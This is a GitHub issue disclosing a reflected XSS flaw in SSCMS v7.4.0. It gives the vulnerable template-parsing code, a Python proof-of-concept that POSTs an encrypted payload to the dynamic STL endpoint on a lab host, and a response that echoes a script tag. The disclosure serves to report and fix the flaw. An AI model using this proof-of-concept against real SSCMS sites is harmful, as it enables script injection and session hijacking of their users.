

siteserver / cms Public

[Code](#) [Issues 3.2k](#) [Pull requests 3](#) [Discussions](#) [Actions](#) [Security and](#)

New issue



## Reflected XSS vulnerability #3892

Open

hss94531 opened 2 weeks ago · edited by hss94531

Edits ▾ ⋮

Vulnerability Conditions:

SSCMS v7.4.0 + SQLite + administrator (security\_key) privileges

Vulnerability Details:

Code audit revealed that the SSCMS component receives encrypted parameters in an unauthenticated state, decrypts them, parses the STL template content, and directly returns HTML. The `yesTemplate` content in the template is not filtered for XSS or HTML encoded; it is directly output to the HTML field of the response.

```
SSCMS.Core > StlParser > StlElement > StlSqlContent.cs
50     else
51     {
52         var value = ListUtils.GetValueIgnoreCase(contextInfo.ItemContainer.SqlItem.Value, type);
53         if (value != null)
54         {
55             parsedContent = string.Format(format, value);
56         }
57     }
58
59     else if (!string.IsNullOrEmpty(queryString))
60     {
61         if (string.IsNullOrEmpty(connectionString))
62         {
63             connectionString = parseManager.SettingsManager.Database.ConnectionString;
64         }
65
66         //parsedContent = GlobalSettings.DatabaseRepository.GetString(connectionString, queryString);
67         parsedContent = parseManager.DatabaseManager.GetString(connectionString, queryString);
68     }
```

Assuming we know the encryption key, I hardcoded the key in the Dockerfile during environment setup to facilitate vulnerability reproduction.

If the key is unknown, you need to log in as administrator to manually encrypt the payload.

Then, the encrypted payload is concatenated and sent as a POST request, and output directly to the HTML field of the response.

```
encrypted =  
"4cc31f966e1a4396405f49df5e6d44b1a14d63f3208d1a68a5686d2694d179821ea46815a47b98a247e204fb1922f  
560687e64642ddaaacd08d0a8132ffe0abbf7463e346548720866d9c35d651888fa6df10a545bdddedefba0aba518c  
e54449912c286efbdad5303efba67040ebe5a6ff1820fead4db7beb6b5df09726943bd27de58dd9054d833a81a8ae0  
44262975d48094c3e8257dda5987a6b96607fd7c7e371eaf43dc48d0519f07932ae9db7050e2ddfa799b5e21961c6b  
43c98328c1032dd7cf7b1bffa0b9b0d7ab38a7b996084e297dcf049ad1520aa606d8c7701c125b60ccfdb5d8616e6  
c7515c034bd " url = 'http://192.168.197.128:5000/api/stl/actions/dynamic' resp =  
requests.post(url, json={'value': encrypted, 'page': 1}) print('Status:', resp.status_code)  
print('Response:', resp.text)
```

When the victim's browser renders the content, the malicious script will execute inline, leading to session hijacking, phishing attacks, or unauthorized background operations.

```
Status: 200  
Response: {"value":true,"html":"<script>alert(\"XSS\")</script>"}  
|  
Process finished with exit code 0
```

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

## Metadata

### Assignees

No one assigned

### Labels

No labels

### Type

No type

### Projects

No projects

### Milestone

No milestone

### Relationships

None yet

---

### Development

No branches or pull requests

---

### Participants

